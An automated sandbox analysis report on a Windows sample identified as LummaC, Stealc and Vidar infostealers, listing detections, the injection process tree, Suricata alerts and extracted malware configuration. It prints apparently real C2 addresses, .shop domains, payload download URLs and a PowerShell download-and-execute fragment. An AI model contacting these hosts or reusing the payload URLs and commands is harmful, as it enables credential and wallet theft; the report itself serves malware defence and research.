Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1500787
MD5:	8e41d2107579afb2911dccffeab97f1c
SHA1:	e364f0f9b85adcb64747c8eac819a1b59b458727
SHA256:	c5c219a6512dc639b5ac5837abe4217e265f7d165159da131eb32048b0c15030
Tags:	exe
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7412 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8E41D2107579AFB2911DCCFFEAB97F1C)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7492 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 712 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userFBKFCFBFID.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userFBKFCFBFID.exe (PID: 6620 cmdline: "C:\Users\userFBKFCFBFID.exe" MD5: E377DAE8BDF40A95DB250E59842D2915)

conhost.exe (PID: 6228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7312 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6924 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4808 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5468 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4800 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 3232 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 1760 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 7268 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIEHDAFHDHC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userIEHDAFHDHC.exe (PID: 7444 cmdline: "C:\Users\userIEHDAFHDHC.exe" MD5: 1EF9BBED957BCD2DF5A639E04A67F8BB)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3180 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

DHCGHDHIDH.exe (PID: 2176 cmdline: "C:\ProgramData\DHCGHDHIDH.exe" MD5: E377DAE8BDF40A95DB250E59842D2915)

conhost.exe (PID: 2168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3168 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7524 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 1704 MD5: C31336C1EFC2CCB44B4326EA793040F2)

HDAFIIDAKJ.exe (PID: 2020 cmdline: "C:\ProgramData\HDAFIIDAKJ.exe" MD5: 1EF9BBED957BCD2DF5A639E04A67F8BB)

conhost.exe (PID: 2348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3132 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4008 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 3916 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 8172 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIIJDHCGCBK" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5204 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}

Threatname: LummaC

{"C2 url": ["locatedblsoqp.shop", "caffegclasiqwp.shop", "traineiwnqo.shop", "evoliutwoqm.shop", "millyscroqwp.shop", "stagedchheiqwo.shop", "condedqpwqm.shop", "stamppreewntnq.shop"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199761128941", "https://t.me/jamelwt"], "Botnet": "d9949d63cb2f6fce6f80667c0c98ea24"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001D.00000002.1926386102.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x1e228:$s2: HAL9TH
Process Memory Space: file.exe PID: 7412	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7492	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: userIEHDAFHDHC.exe PID: 7444	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: userIEHDAFHDHC.exe PID: 7444	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: userIEHDAFHDHC.exe PID: 7444	Molerats_Jul17_Sample_5	Detects Molerats sample - July 2017	Florian Roth	0x57e7:$x1: powershell.exe -nop -c "iex 0x580e:$a1: Net.WebClient).DownloadString 0x5d0f:$a1: Net.WebClient).DownloadString
Process Memory Space: RegAsm.exe PID: 3180	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3180	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 3180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3916	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3916	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
29.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
29.2.RegAsm.exe.400000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x1e228:$s2: HAL9TH
29.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
29.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
27.2.userIEHDAFHDHC.exe.38b5570.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
27.2.userIEHDAFHDHC.exe.38b5570.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1ca20:$s1: JohnDoe 0x1ca28:$s2: HAL9TH
27.2.userIEHDAFHDHC.exe.38b5570.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
27.2.userIEHDAFHDHC.exe.38b5570.1.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1be20:$s1: JohnDoe 0x1be28:$s2: HAL9TH
Click to see the 3 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:12.371666+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 46.8.231.109 - Destination IP: 192.168.2.7

Timestamp:	2024-08-28T22:55:04.909072+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49702
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.7

Timestamp:	2024-08-28T22:55:50.052672+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Vidar Stealer Form Exfil - Source IP: 192.168.2.7 - Destination IP: 95.164.119.162

Timestamp:	2024-08-28T22:56:10.335991+0200
SID:	2054495
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 147.45.44.104

Timestamp:	2024-08-28T22:55:15.711369+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:55:17.329279+0200
SID:	2055485
Severity:	1
Source Port:	49715
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.7

Timestamp:	2024-08-28T22:56:36.625341+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49741
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:05.552294+0200
SID:	2044248
Severity:	1
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:56:06.708426+0200
SID:	2055485
Severity:	1
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 147.45.44.104

Timestamp:	2024-08-28T22:56:05.277293+0200
SID:	2803304
Severity:	3
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:09.522703+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:56:06.861289+0200
SID:	2049836
Severity:	1
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:56:06.861289+0200
SID:	2054653
Severity:	1
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 46.8.231.109 - Destination IP: 192.168.2.7

Timestamp:	2024-08-28T22:55:05.093330+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49702
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:55:16.488329+0200
SID:	2055485
Severity:	1
Source Port:	49712
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:55:16.660842+0200
SID:	2049836
Severity:	1
Source Port:	49712
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:55:16.660842+0200
SID:	2054653
Severity:	1
Source Port:	49712
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:04.718104+0200
SID:	2044243
Severity:	1
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:56:08.043794+0200
SID:	2049812
Severity:	1
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:56:08.043794+0200
SID:	2054653
Severity:	1
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 147.45.44.104

Timestamp:	2024-08-28T22:56:06.921219+0200
SID:	2803304
Severity:	3
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 147.45.44.104

Timestamp:	2024-08-28T22:55:14.882018+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:12.822415+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.7

Timestamp:	2024-08-28T22:56:37.241950+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49741
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:55:17.776652+0200
SID:	2049812
Severity:	1
Source Port:	49715
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:55:17.776652+0200
SID:	2054653
Severity:	1
Source Port:	49715
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:05.784306+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.7 - Destination IP: 147.45.68.138

Timestamp:	2024-08-28T22:55:49.331748+0200
SID:	2049087
Severity:	1
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:10.088684+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.7

Timestamp:	2024-08-28T22:55:50.707883+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49731
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:08.683371+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop) - Source IP: 192.168.2.7 - Destination IP: 1.1.1.1

Timestamp:	2024-08-28T22:55:15.918443+0200
SID:	2055475
Severity:	1
Source Port:	56010
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:10.582597+0200
SID:	2803304
Severity:	3
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:04.902983+0200
SID:	2044244
Severity:	1
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) - Source IP: 192.168.2.7 - Destination IP: 172.67.146.35

Timestamp:	2024-08-28T22:56:07.505025+0200
SID:	2055485
Severity:	1
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.7 - Destination IP: 46.8.231.109

Timestamp:	2024-08-28T22:55:05.086353+0200
SID:	2044246
Severity:	1
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop

Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exe
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeF
Source: RegAsm.exe, 00000003.00000002.1411146244.00000000276C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeT
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exeX
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exem-data;
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf818156193_ldjfnsfd.exe
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf818156193_ldjfnsfd.exe-data;
Source: RegAsm.exe, 0000001D.00000002.1926386102.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf818156193_ldjfnsfd.exe1kkkk1023589http://147.45.44.104/prog/66cf75d379
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66cf818156193_ldjfnsfd.exeY
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.68.138/4
